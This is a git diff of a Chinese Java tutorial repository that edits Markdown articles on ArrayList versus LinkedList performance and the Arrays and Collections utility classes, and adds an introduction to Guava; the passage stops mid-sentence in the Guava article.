+ +**1)ArrayList** + +ArrayList 删除元素的时候,有两种方式,一种是直接删除元素(`remove(Object)`),需要直先遍历数组,找到元素对应的索引;一种是按照索引删除元素(`remove(int)`)。 + +```java +public boolean remove(Object o) { + final Object[] es = elementData; + final int size = this.size; + int i = 0; + found: { + if (o == null) { + for (; i < size; i++) + if (es[i] == null) + break found; + } else { + for (; i < size; i++) + if (o.equals(es[i])) + break found; + } + return false; + } + fastRemove(es, i); + return true; +} +public E remove(int index) { + Objects.checkIndex(index, size); + final Object[] es = elementData; + + @SuppressWarnings("unchecked") E oldValue = (E) es[index]; + fastRemove(es, index); + + return oldValue; +} +``` + +但从本质上讲,都是一样的,因为它们最后调用的都是 `fastRemove(Object, int)` 方法。 + +```java +private void fastRemove(Object[] es, int i) { + modCount++; + final int newSize; + if ((newSize = size - 1) > i) + System.arraycopy(es, i + 1, es, i, newSize - i); + es[size = newSize] = null; +} +``` + +从源码可以看得出,只要删除的不是最后一个元素,都需要数组重组。删除的元素位置越靠前,代价就越大。 + + +**2)LinkedList** + +LinkedList 删除元素的时候,有四种常用的方式: + +- `remove(int)`,删除指定位置上的元素 + +```java +public E remove(int index) { + checkElementIndex(index); + return unlink(node(index)); +} +``` + +先检查索引,再调用 `node(int)` 方法( 前后半段遍历,和新增元素操作一样)找到节点 Node,然后调用 `unlink(Node)` 解除节点的前后引用,同时更新前节点的后引用和后节点的前引用: + +```java + E unlink(Node x) { + // assert x != null; + final E element = x.item; + final Node next = x.next; + final Node prev = x.prev; + + if (prev == null) { + first = next; + } else { + prev.next = next; + x.prev = null; + } + + if (next == null) { + last = prev; + } else { + next.prev = prev; + x.next = null; + } + + x.item = null; + size--; + modCount++; + return element; + } +``` + +- `remove(Object)`,直接删除元素 + +```java +public boolean remove(Object o) { + if (o == null) { + for (LinkedList.Node x = first; x != null; x = x.next) { + if (x.item == null) { + unlink(x); + return true; + } + } + } else { + for (LinkedList.Node x = first; x != null; x = x.next) { + if (o.equals(x.item)) { + unlink(x); + return true; + } + } + } + return false; +} +``` + +也是先前后半段遍历,找到要删除的元素后调用 `unlink(Node)`。 + +- `removeFirst()`,删除第一个节点 + +```java +public E removeFirst() { + final LinkedList.Node f = first; + if (f == null) + throw new NoSuchElementException(); + return unlinkFirst(f); +} +private E unlinkFirst(LinkedList.Node f) { + // assert f == first && f != null; + final E element = f.item; + final LinkedList.Node next = f.next; + f.item = null; + f.next = null; // help GC + first = next; + if (next == null) + last = null; + else + next.prev = null; + size--; + modCount++; + return element; +} +``` + +删除第一个节点就不需要遍历了,只需要把第二个节点更新为第一个节点即可。 + +- `removeLast()`,删除最后一个节点 + +删除最后一个节点和删除第一个节点类似,只需要把倒数第二个节点更新为最后一个节点即可。 + +可以看得出,LinkedList 在删除比较靠前和比较靠后的元素时,非常高效,但如果删除的是中间位置的元素,效率就比较低了。 + +这里就不再做代码测试了,感兴趣的小伙伴可以自己试试,结果和新增元素保持一致: + +- 从集合头部删除元素时,ArrayList 花费的时间比 LinkedList 多很多; + +- 从集合中间位置删除元素时,ArrayList 花费的时间比 LinkedList 少很多; + +- 从集合尾部删除元素时,ArrayList 花费的时间比 LinkedList 少一点。 + +我本地的统计结果如下所示,小伙伴们可以作为参考: + +``` +ArrayList从集合头部位置删除元素花费的时间380 +LinkedList从集合头部位置删除元素花费的时间4 +ArrayList从集合中间位置删除元素花费的时间381 +LinkedList从集合中间位置删除元素花费的时间5922 +ArrayList从集合尾部位置删除元素花费的时间8 +LinkedList从集合尾部位置删除元素花费的时间12 +``` + +### 05、ArrayList 和 LinkedList 遍历元素时究竟谁快? + +**1)ArrayList** + +遍历 ArrayList 找到某个元素的话,通常有两种形式: + +- `get(int)`,根据索引找元素 + +```java +public E get(int index) { + Objects.checkIndex(index, size); + return elementData(index); +} +``` + +由于 ArrayList 是由数组实现的,所以根据索引找元素非常的快,一步到位。 + +- `indexOf(Object)`,根据元素找索引 + +```java +public int indexOf(Object o) { + return indexOfRange(o, 0, size); +} + +int indexOfRange(Object o, int start, int end) { + Object[] es = elementData; + if (o == null) { + for (int i = start; i < end; i++) { + if (es[i] == null) { + return i; + } + } + } else { + for (int i = start; i < end; i++) { + if (o.equals(es[i])) { + return i; + } + } + } + return -1; +} +``` + +根据元素找索引的话,就需要遍历整个数组了,从头到尾依次找。 + + +**2)LinkedList** + +遍历 LinkedList 找到某个元素的话,通常也有两种形式: + +- `get(int)`,找指定位置上的元素 + +```java +public E get(int index) { + checkElementIndex(index); + return node(index).item; +} +``` + +既然需要调用 `node(int)` 方法,就意味着需要前后半段遍历了。 + +- `indexOf(Object)`,找元素所在的位置 + +```java +public int indexOf(Object o) { + int index = 0; + if (o == null) { + for (LinkedList.Node x = first; x != null; x = x.next) { + if (x.item == null) + return index; + index++; + } + } else { + for (LinkedList.Node x = first; x != null; x = x.next) { + if (o.equals(x.item)) + return index; + index++; + } + } + return -1; +} +``` + +需要遍历整个链表,和 ArrayList 的 `indexOf()` 类似。 + +那在我们对集合遍历的时候,通常有两种做法,一种是使用 for 循环,一种是使用迭代器(Iterator)。 + +如果使用的是 for 循环,可想而知 LinkedList 在 get 的时候性能会非常差,因为每一次外层的 for 循环,都要执行一次 `node(int)` 方法进行前后半段的遍历。 + +```java +LinkedList.Node node(int index) { + // assert isElementIndex(index); + + if (index < (size >> 1)) { + LinkedList.Node x = first; + for (int i = 0; i < index; i++) + x = x.next; + return x; + } else { + LinkedList.Node x = last; + for (int i = size - 1; i > index; i--) + x = x.prev; + return x; + } +} +``` + + + +那如果使用的是迭代器呢? + +```java +LinkedList list = new LinkedList(); +for (Iterator it = list.iterator(); it.hasNext();) { + it.next(); +} +``` + +迭代器只会调用一次 `node(int)` 方法,在执行 `list.iterator()` 的时候:先调用 AbstractSequentialList 类的 `iterator()` 方法,再调用 AbstractList 类的 `listIterator()` 方法,再调用 LinkedList 类的 `listIterator(int)` 方法,如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/collection/list-war-2-04.png) + +最后返回的是 LinkedList 类的内部私有类 ListItr 对象: + +```java +public ListIterator listIterator(int index) { + checkPositionIndex(index); + return new LinkedList.ListItr(index); +} + +private class ListItr implements ListIterator { + private LinkedList.Node lastReturned; + private LinkedList.Node next; + private int nextIndex; + private int expectedModCount = modCount; + + ListItr(int index) { + // assert isPositionIndex(index); + next = (index == size) ? null : node(index); + nextIndex = index; + } + + public boolean hasNext() { + return nextIndex < size; + } + + public E next() { + checkForComodification(); + if (!hasNext()) + throw new NoSuchElementException(); + + lastReturned = next; + next = next.next; + nextIndex++; + return lastReturned.item; + } +} +``` + +执行 ListItr 的构造方法时调用了一次 `node(int)` 方法,返回第一个节点。在此之后,迭代器就执行 `hasNext()` 判断有没有下一个,执行 `next()` 方法下一个节点。 + +由此,可以得出这样的结论:**遍历 LinkedList 的时候,千万不要使用 for 循环,要使用迭代器。** + +也就是说,for 循环遍历的时候,ArrayList 花费的时间远小于 LinkedList;迭代器遍历的时候,两者性能差不多。 + +### 06、总结 + +花了两天时间,终于肝完了!相信看完这篇文章后,再有面试官问你 ArrayList 和 LinkedList 有什么区别的话,你一定会胸有成竹地和他扯上半小时了。 + +这是《Java 程序员进阶之路》专栏的第 61 篇。Java 程序员进阶之路,风趣幽默、通俗易懂,对 Java 初学者极度友好和舒适😘,内容包括但不限于 Java 语法、Java 集合框架、Java IO、Java 并发编程、Java 虚拟机等核心知识点。 + +>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer) + +这么硬核的东西,还不赶紧 star 下? \ No newline at end of file diff --git a/docs/src/common-tool/arrays.md b/docs/common-tool/arrays.md similarity index 82% rename from docs/src/common-tool/arrays.md rename to docs/common-tool/arrays.md index 09bdb0c19e..54935c8b84 100644 --- a/docs/src/common-tool/arrays.md +++ b/docs/common-tool/arrays.md @@ -1,19 +1,5 @@ ---- -title: Java Arrays:专为数组而生的工具类 -shortTitle: Arrays工具类 -category: - - Java核心 -tag: - - 常用工具类 -description: 本文详细介绍了Java中的Arrays工具类,阐述了它在数组操作中的实际应用和优势。通过具体的代码示例,展示了如何使用Arrays类处理数组排序、查找、转换等常见问题。学习Arrays工具类的技巧,让您在Java编程中轻松应对各种数组操作,提高开发效率。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,Arrays,数组,java arrays,java 数组 ---- - - -“哥,数组专用工具类是专门用来操作[数组](https://javabetter.cn/array/array.html)的吗?比如说创建数组、数组排序、数组检索等等。”三妹的提问其实已经把答案说了出来。 + +“哥,数组专用工具类是专门用来操作数组的吗?比如说创建数组、数组排序、数组检索等等。”三妹的提问其实已经把答案说了出来。 “是滴,这里说的数组专用工具类指的是 `java.util.Arrays` 类,基本上常见的数组操作,这个类都提供了静态方法可供直接调用。毕竟数组本身想完成这些操作还是挺麻烦的,有了这层封装,就方便多了。”在回答三妹的同时,我打开 Intellij IDEA,找到了 Arrays 类的源码。 @@ -50,9 +36,7 @@ public class Arrays {} - copyOfRange,复制指定范围内的数组到一个新的数组 - fill,对数组进行填充 -#### 1)copyOf - -直接来看例子: +1)copyOf,直接来看例子: ```java String[] intro = new String[] { "沉", "默", "王", "二" }; @@ -80,9 +64,7 @@ private Object[] grow(int minCapacity) { } ``` -#### 2)copyOfRange - -直接来看例子: +2)copyOfRange,直接来看例子: ```java String[] intro = new String[] { "沉", "默", "王", "二" }; @@ -115,9 +97,8 @@ System.out.println(Arrays.toString(abridgementExpanded)); “嗯,我想是 Arrays 的设计者考虑到了数组越界的问题,不然每次调用 Arrays 类就要先判断很多次长度,很麻烦。”稍作思考后,我给出了这样一个回答。 -#### 3)fill -直接来看例子: +3)fill,直接来看例子: ```java String[] stutter = new String[4]; @@ -176,7 +157,7 @@ public static boolean equals(Object[] a, Object[] a2) { } ``` -因为数组是一个对象,所以先使用“==”操作符进行判断,如果不相等,再判断是否为 null,其中一个为 null,返回 false;紧接着判断 length,不等的话,返回 false;否则的话,依次调用 `Objects.equals()` 比较相同位置上的元素是否相等。 +因为数组是一个对象,所以先使用“==”操作符进行判断,如果不相等,再判断是否为 null,两个都为 null,返回 false;紧接着判断 length,不等的话,返回 false;否则的话,依次调用 `Objects.equals()` 比较相同位置上的元素是否相等。 “这段代码还是非常严谨的,对吧?三妹,这也就是我们学习源码的意义,欣赏的同时,可以学习源码作者清晰的编码思路。”我语重心长地给三妹讲。 @@ -268,7 +249,7 @@ System.out.println(caseInsensitive); “流是什么呀?”三妹好奇的问。 -“流的英文单词是 Stream,它可以极大提高 Java 程序员的生产力,让程序员写出高效、干净、简洁的代码。 这种风格将要处理的集合看作是一种流,想象一下水流在管道中流过的样子,我们可以在管道中对流进行处理,比如筛选、排序等等。[Stream 具体怎么使用](https://javabetter.cn/java8/stream.html),我们留到后面再详细地讲,这里你先有一个大致的印象就可以了。”我回答到。 +“流的英文单词是 Stream,它可以极大提高 Java 程序员的生产力,让程序员写出高效、干净、简洁的代码。 这种风格将要处理的集合看作是一种流,想象一下水流在管道中流过的样子,我们可以在管道中对流进行处理,比如筛选、排序等等。Stream 具体怎么使用,我们留到后面再详细地讲,这里你先有一个大致的印象就可以了。”我回答到。 Arrays 类的 `stream()` 方法可以将数组转换成流: @@ -299,7 +280,7 @@ Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: origin(2) > [Ljava.lang.String;@3d075dc0 ``` -[最优雅的打印方式](https://javabetter.cn/array/print.html),是使用 `Arrays.toString()`,其实前面讲过。来看一下该方法的源码: +最优雅的打印方式,是使用 `Arrays.toString()`,来看一下该方法的源码: ```java public static String toString(Object[] a) { @@ -337,7 +318,7 @@ public static String toString(Object[] a) { ### 07、数组转 List -尽管数组非常强大,但它自身可以操作的工具方法很少,比如说判断数组中是否包含某个值。如果能转成 List 的话,就简便多了,因为 Java 的[集合框架 List](https://javabetter.cn/collection/gailan.html) 中封装了很多常用的方法。 +尽管数组非常强大,但它自身可以操作的工具方法很少,比如说判断数组中是否包含某个值。如果能转成 List 的话,就简便多了,因为 Java 的集合框架 List 中封装了很多常用的方法。 ```java String[] intro = new String[] { "沉", "默", "王", "二" }; @@ -345,7 +326,7 @@ List rets = Arrays.asList(intro); System.out.println(rets.contains("二")); ``` -不过需要注意的是,`Arrays.asList()` 返回的是 `java.util.Arrays.ArrayList`,并不是 [`java.util.ArrayList`](https://javabetter.cn/collection/arraylist.html),它的长度是固定的,无法进行元素的删除或者添加。 +不过需要注意的是,`Arrays.asList()` 返回的是 `java.util.Arrays.ArrayList`,并不是 `java.util.ArrayList`,它的长度是固定的,无法进行元素的删除或者添加。 ```java rets.add("三"); @@ -370,7 +351,7 @@ rets1.remove("二"); ### 08、setAll -Java 8 新增了 `setAll()` 方法,它提供了一个[函数式编程](https://javabetter.cn/java8/Lambda.html)的入口,可以对数组的元素进行填充: +Java 8 新增了 `setAll()` 方法,它提供了一个函数式编程的入口,可以对数组的元素进行填充: ```java int[] array = new int[10]; @@ -431,13 +412,4 @@ System.out.println(Arrays.toString(arr)); “嗯嗯,我先复习一下这节的内容。哥,你去休息吧。” -我来到客厅,坐到沙发上,捧起黄永玉先生的《无愁河上的浪荡汉子·八年卷 1》看了起来,津津有味。。。。。。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file +我来到客厅,坐到沙发上,捧起黄永玉先生的《无愁河上的浪荡汉子·八年卷 1》看了起来,津津有味。。。。。。 \ No newline at end of file diff --git a/docs/common-tool/collections.md b/docs/common-tool/collections.md new file mode 100644 index 0000000000..9cc027c459 --- /dev/null +++ b/docs/common-tool/collections.md @@ -0,0 +1,248 @@ + + +Collections 是 JDK 提供的一个工具类,位于 java.util 包下,提供了一系列的静态方法,方便我们对集合进行各种骚操作,算是集合框架的一个大管家。 + +还记得我们前面讲过的 [Arrays 工具类](https://mp.weixin.qq.com/s/9dYmKXEErZbyPJ_GxwWYug)吗?可以回去温习下。 + +Collections 的用法很简单,在 Intellij IDEA 中敲完 `Collections.` 之后就可以看到它提供的方法了,大致看一下方法名和参数就能知道这个方法是干嘛的。 + + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/collections-01.png) + +为了节省大家的学习时间,我将这些方法做了一些分类,并列举了一些简单的例子。 + +### 01、排序操作 + +- `reverse(List list)`:反转顺序 +- `shuffle(List list)`:洗牌,将顺序打乱 +- `sort(List list)`:自然升序 +- `sort(List list, Comparator c)`:按照自定义的比较器排序 +- `swap(List list, int i, int j)`:将 i 和 j 位置的元素交换位置 + +来看例子: + +```java +List list = new ArrayList<>(); +list.add("沉默王二"); +list.add("沉默王三"); +list.add("沉默王四"); +list.add("沉默王五"); +list.add("沉默王六"); + +System.out.println("原始顺序:" + list); + +// 反转 +Collections.reverse(list); +System.out.println("反转后:" + list); + +// 洗牌 +Collections.shuffle(list); +System.out.println("洗牌后:" + list); + +// 自然升序 +Collections.sort(list); +System.out.println("自然升序后:" + list); + +// 交换 +Collections.swap(list, 2,4); +System.out.println("交换后:" + list); +``` + +输出后: + +``` +原始顺序:[沉默王二, 沉默王三, 沉默王四, 沉默王五, 沉默王六] +反转后:[沉默王六, 沉默王五, 沉默王四, 沉默王三, 沉默王二] +洗牌后:[沉默王五, 沉默王二, 沉默王六, 沉默王三, 沉默王四] +自然升序后:[沉默王三, 沉默王二, 沉默王五, 沉默王六, 沉默王四] +交换后:[沉默王三, 沉默王二, 沉默王四, 沉默王六, 沉默王五] +``` + +### 02、查找操作 + +- `binarySearch(List list, Object key)`:二分查找法,前提是 List 已经排序过了 +- `max(Collection coll)`:返回最大元素 +- `max(Collection coll, Comparator comp)`:根据自定义比较器,返回最大元素 +- `min(Collection coll)`:返回最小元素 +- `min(Collection coll, Comparator comp)`:根据自定义比较器,返回最小元素 +- `fill(List list, Object obj)`:使用指定对象填充 +- `frequency(Collection c, Object o)`:返回指定对象出现的次数 + +来看例子: + +```java +System.out.println("最大元素:" + Collections.max(list)); +System.out.println("最小元素:" + Collections.min(list)); +System.out.println("出现的次数:" + Collections.frequency(list, "沉默王二")); + +// 没有排序直接调用二分查找,结果是不确定的 +System.out.println("排序前的二分查找结果:" + Collections.binarySearch(list, "沉默王二")); +Collections.sort(list); +// 排序后,查找结果和预期一致 +System.out.println("排序后的二分查找结果:" + Collections.binarySearch(list, "沉默王二")); + +Collections.fill(list, "沉默王八"); +System.out.println("填充后的结果:" + list); +``` + +输出后: + +``` +原始顺序:[沉默王二, 沉默王三, 沉默王四, 沉默王五, 沉默王六] +最大元素:沉默王四 +最小元素:沉默王三 +出现的次数:1 +排序前的二分查找结果:0 +排序后的二分查找结果:1 +填充后的结果:[沉默王八, 沉默王八, 沉默王八, 沉默王八, 沉默王八] +``` + +### 03、同步控制 + +[HashMap 是线程不安全](https://mp.weixin.qq.com/s/qk_neCdzM3aB6pVWVTHhNw)的,这个我们前面讲到了。那其实 ArrayList 也是线程不安全的,没法在多线程环境下使用,那 Collections 工具类中提供了多个 synchronizedXxx 方法,这些方法会返回一个同步的对象,从而解决多线程中访问集合时的安全问题。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/collections-02.png) + +使用起来也非常的简单: + +```java +SynchronizedList synchronizedList = Collections.synchronizedList(list); +``` + +看一眼 SynchronizedList 的源码就明白了,不过是在方法里面使用 synchronized 关键字加了一层锁而已。 + +```java +static class SynchronizedList + extends SynchronizedCollection + implements List { + private static final long serialVersionUID = -7754090372962971524L; + + final List list; + + SynchronizedList(List list) { + super(list); + this.list = list; + } + + public E get(int index) { + synchronized (mutex) {return list.get(index);} + } + + public void add(int index, E element) { + synchronized (mutex) {list.add(index, element);} + } + public E remove(int index) { + synchronized (mutex) {return list.remove(index);} + } +} +``` + +那这样的话,其实效率和那些直接在方法上加 synchronized 关键字的 Vector、Hashtable 差不多(JDK 1.0 时期就有了),而这些集合类基本上已经废弃了,几乎不怎么用。 + +```java +public class Vector + extends AbstractList + implements List, RandomAccess, Cloneable, java.io.Serializable +{ + + public synchronized E get(int index) { + if (index >= elementCount) + throw new ArrayIndexOutOfBoundsException(index); + + return elementData(index); + } + + public synchronized E remove(int index) { + modCount++; + if (index >= elementCount) + throw new ArrayIndexOutOfBoundsException(index); + E oldValue = elementData(index); + + int numMoved = elementCount - index - 1; + if (numMoved > 0) + System.arraycopy(elementData, index+1, elementData, index, + numMoved); + elementData[--elementCount] = null; // Let gc do its work + + return oldValue; + } +} +``` + +正确的做法是使用并发包下的 CopyOnWriteArrayList、ConcurrentHashMap。这些我们放到并发编程时再讲。 + +### 04、不可变集合 + +- `emptyXxx()`:制造一个空的不可变集合 +- `singletonXxx()`:制造一个只有一个元素的不可变集合 +- `unmodifiableXxx()`:为指定集合制作一个不可变集合 + +举个例子: + +```java +List emptyList = Collections.emptyList(); +emptyList.add("非空"); +System.out.println(emptyList); +``` + +这段代码在执行的时候就抛出错误了。 + +``` +Exception in thread "main" java.lang.UnsupportedOperationException + at java.util.AbstractList.add(AbstractList.java:148) + at java.util.AbstractList.add(AbstractList.java:108) + at com.itwanger.s64.Demo.main(Demo.java:61) +``` + +这是因为 `Collections.emptyList()` 会返回一个 Collections 的内部类 EmptyList,而 EmptyList 并没有重写父类 AbstractList 的 `add(int index, E element)` 方法,所以执行的时候就抛出了不支持该操作的 UnsupportedOperationException 了。 + +这是从分析 add 方法源码得出的原因。除此之外,emptyList 方法是 final 的,返回的 EMPTY_LIST 也是 final 的,种种迹象表明 emptyList 返回的就是不可变对象,没法进行增伤改查。 + +```java +public static final List emptyList() { + return (List) EMPTY_LIST; +} + +public static final List EMPTY_LIST = new EmptyList<>(); +``` + +### 05、其他 + +还有两个方法比较常用: + +- `addAll(Collection c, T... elements)`,往集合中添加元素 +- `disjoint(Collection c1, Collection c2)`,判断两个集合是否没有交集 + +举个例子: + +```java +List allList = new ArrayList<>(); +Collections.addAll(allList, "沉默王九","沉默王十","沉默王二"); +System.out.println("addAll 后:" + allList); + +System.out.println("是否没有交集:" + (Collections.disjoint(list, allList) ? "是" : "否")); +``` + +输出后: + +``` +原始顺序:[沉默王二, 沉默王三, 沉默王四, 沉默王五, 沉默王六] +addAll 后:[沉默王九, 沉默王十, 沉默王二] +是否没有交集:否 +``` + +整体上,Collections 工具类作为集合框架的大管家,提供了一些非常便利的方法供我们调用,也非常容易掌握,没什么难点,看看方法的注释就能大致明白干嘛的。 + +不过,工具就放在那里,用是一回事,为什么要这么用就是另外一回事了。能不能提高自己的编码水平,很大程度上取决于你到底有没有去钻一钻源码,看这些设计 JDK 的大师们是如何写代码的,学会一招半式,在工作当中还是能很快脱颖而出的。 + +恐怕 JDK 的设计者是这个世界上最好的老师了,文档写得不能再详细了,代码写得不能再优雅了,基本上都达到了性能上的极致。 + +可能有人会说,工具类没什么鸟用,不过是调用下方法而已,但这就大错特错了:如果要你来写,你能写出来 Collections 这样一个工具类吗? + +这才是高手要思考的一个问题。 + + + + + + diff --git a/docs/common-tool/guava.md b/docs/common-tool/guava.md new file mode 100644 index 0000000000..305c8a23ec --- /dev/null +++ b/docs/common-tool/guava.md @@ -0,0 +1,243 @@ +### 01、前世今生 + +你好呀,我是 Guava。 + +我由 Google 公司开源,目前在 GitHub 上已经有 39.9k 的铁粉了,由此可以证明我的受欢迎程度。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/guava-01.png) + + +我的身体里主要包含有这些常用的模块:集合 [collections] 、缓存 [caching] 、原生类型支持 [primitives support] 、并发库 [concurrency libraries] 、通用注解 [common annotations] 、字符串处理 [string processing] 、I/O 等。新版的 JDK 中已经直接把我引入了,可想而知我有多优秀,忍不住骄傲了。 + +这么说吧,学好如何使用我,能让你在编程中变得更快乐,写出更优雅的代码! + +*PS:star 这种事,只能求,不求没效果😭😭😭。二哥开源的《Java 程序员进阶之路》专栏在 GitHub 上已经收获了 595 枚星标,铁粉们赶紧去点点啦,帮二哥冲 600 star,笔芯*! + +>https://github.com/itwanger/toBeBetterJavaer + +### 02、引入 Guava + +如果你要在 Maven 项目使用我的话,需要先在 pom.xml 文件中引入我的依赖。 + +``` + + com.google.guava + guava + 30.1-jre + +``` + +一点要求,JDK 版本需要在 8 以上。 + +### 03、基本工具 + +Doug Lea,java.util.concurrent 包的作者,曾说过一句话:“null 真糟糕”。Tony Hoare,图灵奖得主、快速排序算法的作者,当然也是 null 的创建者,也曾说过类似的话:“null 的使用,让我损失了十亿美元。”鉴于此,我用 Optional 来表示可能为 null 的对象。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/common-tool/guava-02.png) + + +代码示例如下所示。 + +```java +Optional possible = Optional.of(5); +possible.isPresent(); // returns true +possible.get(); // returns 5 +``` + +我大哥 Java 在 JDK 8 中新增了 [Optional 类](https://mp.weixin.qq.com/s/PqK0KNVHyoEtZDtp5odocA),显然是从我这借鉴过去的,不过他的和我的有些不同。 + +- 我的 Optional 是 abstract 的,意味着我可以有子类对象;我大哥的是 final 的,意味着没有子类对象。 + +- 我的 Optional 实现了 Serializable 接口,可以序列化;我大哥的没有。 + +- 我的一些方法和我大哥的也不尽相同。 + +使用 Optional 除了赋予 null 语义,增加了可读性,最大的优点在于它是一种傻瓜式的防护。Optional 迫使你积极思考引用缺失的情况,因为你必须显式地从 Optional 获取引用。 + +除了 Optional 之外,我还提供了: + +- 参数校验 +- 常见的 Object 方法,比如说 Objects.equals、Objects.hashCode,JDK 7 引入的 Objects 类提供同样的方法,当然也是从我这借鉴的灵感。 +- 更强大的比较器 + +### 04、集合 + +首先我来说一下,为什么需要不可变集合。 + +- 保证线程安全。在并发程序中,使用不可变集合既保证线程的安全性,也大大地增强了并发时的效率(跟并发锁方式相比)。 + +- 如果一个对象不需要支持修改操作,不可变的集合将会节省空间和时间的开销。 + +- 可以当作一个常量来对待,并且集合中的对象在以后也不会被改变。 + +与 JDK 中提供的不可变集合相比,我提供的 Immutable 才是真正的不可变,我为什么这么说呢?来看下面这个示例。 + +下面的代码利用 JDK 的 `Collections.unmodifiableList(list)` 得到一个不可修改的集合 unmodifiableList。 + +```java +List list = new ArrayList(); +list.add("雷军"); +list.add("乔布斯"); + +List unmodifiableList = Collections.unmodifiableList(list); +unmodifiableList.add("马云"); +``` + +运行代码将会出现以下异常: + +``` +Exception in thread "main" java.lang.UnsupportedOperationException + at java.base/java.util.Collections$UnmodifiableCollection.add(Collections.java:1060) + at com.itwanger.guava.NullTest.main(NullTest.java:29) +``` + +很好,执行 `unmodifiableList.add()` 的时候抛出了 UnsupportedOperationException 异常,说明 `Collections.unmodifiableList()` 返回了一个不可变集合。但真的是这样吗? + +你可以把 `unmodifiableList.add()` 换成 `list.add()`。 + +```java +List list = new ArrayList(); +list.add("雷军"); +list.add("乔布斯"); + +List unmodifiableList = Collections.unmodifiableList(list); +list.add("马云"); +``` + +再次执行的话,程序并没有报错,并且你会发现 unmodifiableList 中真的多了一个元素。说明什么呢? + +`Collections.unmodifiableList(…)` 实现的不是真正的不可变集合,当原始集合被修改后,不可变集合里面的元素也是跟着发生变化。 + +我就不会犯这种错,来看下面的代码。 + +```java +List stringArrayList = Lists.newArrayList("雷军","乔布斯"); +ImmutableList immutableList = ImmutableList.copyOf(stringArrayList); +immutableList.add("马云"); +``` + +尝试 `immutableList.add()` 的时候会抛出 `UnsupportedOperationException`。我在源码中已经把 `add()` 方法废弃了。 + +```java + /** + * Guaranteed to throw an exception and leave the collection unmodified. + * + * @throws UnsupportedOperationException always + * @deprecated Unsupported operation. + */ + @CanIgnoreReturnValue + @Deprecated + @Override + public final boolean add(E e) { + throw new UnsupportedOperationException(); + } +``` + +尝试 `stringArrayList.add()` 修改原集合的时候 immutableList 并不会因此而发生改变。 + +除了不可变集合以外,我还提供了新的集合类型,比如说: + +- Multiset,可以多次添加相等的元素。当把 Multiset 看成普通的 Collection 时,它表现得就像无序的 ArrayList;当把 Multiset 看作 `Map` 时,它也提供了符合性能期望的查询操作。 + +- Multimap,可以很容易地把一个键映射到多个值。 + +- BiMap,一种特殊的 Map,可以用 `inverse()` 反转 + `BiMap` 的键值映射;保证值是唯一的,因此 `values()` 返回 Set 而不是普通的 Collection。 + + + +### 05、字符串处理 + +字符串表示字符的不可变序列,创建后就不能更改。在我们日常的工作中,字符串的使用非常频繁,熟练的对其操作可以极大的提升我们的工作效率。 + +我提供了连接器——Joiner,可以用分隔符把字符串序列连接起来。下面的代码将会返回“雷军; 乔布斯”,你可以使用 `useForNull(String)` 方法用某个字符串来替换 null,而不像 `skipNulls()` 方法那样直接忽略 null。 + +```java +Joiner joiner = Joiner.on("; ").skipNulls(); +return joiner.join("雷军", null, "乔布斯"); +``` + +我还提供了拆分器—— Splitter,可以按照指定的分隔符把字符串序列进行拆分。 + +```java +Splitter.on(',') + .trimResults() + .omitEmptyStrings() + .split("雷军,乔布斯,, 沉默王二"); +``` + +### 06、缓存 + +缓存在很多场景下都是相当有用的。你应该知道,检索一个值的代价很高,尤其是需要不止一次获取值的时候,就应当考虑使用缓存。 + +我提供的 Cache 和 ConcurrentMap 很相似,但也不完全一样。最基本的区别是 ConcurrentMap 会一直保存所有添加的元素,直到显式地移除。相对地,我提供的 Cache 为了限制内存占用,通常都设定为自动回收元素。 + +如果你愿意消耗一些内存空间来提升速度,你能预料到某些键会被查询一次以上,缓存中存放的数据总量不会超出内存容量,就可以使用 Cache。 + +来个示例你感受下吧。 + +```java +@Test +public void testCache() throws ExecutionException, InterruptedException { + + CacheLoader cacheLoader = new CacheLoader() { + // 如果找不到元素,会调用这里 + @Override + public Animal load(String s) { + return null; + } + }; + LoadingCache loadingCache = CacheBuilder.newBuilder() + .maximumSize(1000) // 容量 + .expireAfterWrite(3, TimeUnit.SECONDS) // 过期时间 + .removalListener(new MyRemovalListener()) // 失效监听器 + .build(cacheLoader); // + loadingCache.put("狗", new Animal("旺财", 1)); + loadingCache.put("猫", new Animal("汤姆", 3)); + loadingCache.put("狼", new Animal("灰太狼", 4)); + + loadingCache.invalidate("猫"); // 手动失效 + + Animal animal = loadingCache.get("狼"); + System.out.println(animal); + Thread.sleep(4 * 1000); + // 狼已经自动过去,获取为 null 值报错 + System.out.println(loadingCache.get("狼")); +} + +/** + * 缓存移除监听器 + */ +class MyRemovalListener implements RemovalListener { + + @Override + public void onRemoval(RemovalNotification notification) { + String reason = String.format("key=%s,value=%s,reason=%s", notification.getKey(), notification.getValue(), notification.getCause()); + System.out.println(reason); + } +} + +class Animal { + private String name; + private Integer age; + + public Animal(String name, Integer age) { + this.name = name; + this.age = age; + } +} +``` + +CacheLoader 中重写了 load 方法,这个方法会在查询缓存没有命中时被调用,我这里直接返回了 null,其实这样会在没有命中时抛出 CacheLoader returned null for key 异常信息。 + +MyRemovalListener 作为缓存元素失效时的监听类,在有元素缓存失效时会自动调用 onRemoval 方法,这里需要注意的是这个方法是同步方法,如果这里耗时较长,会阻塞直到处理完成。 + +LoadingCache 就是缓存的主要操作对象了,常用的就是其中的 put 和 get 方法了。 + +### 07、尾声 + +上面介绍了我认为最常用的功能,作为 Google 公司开源的 Java 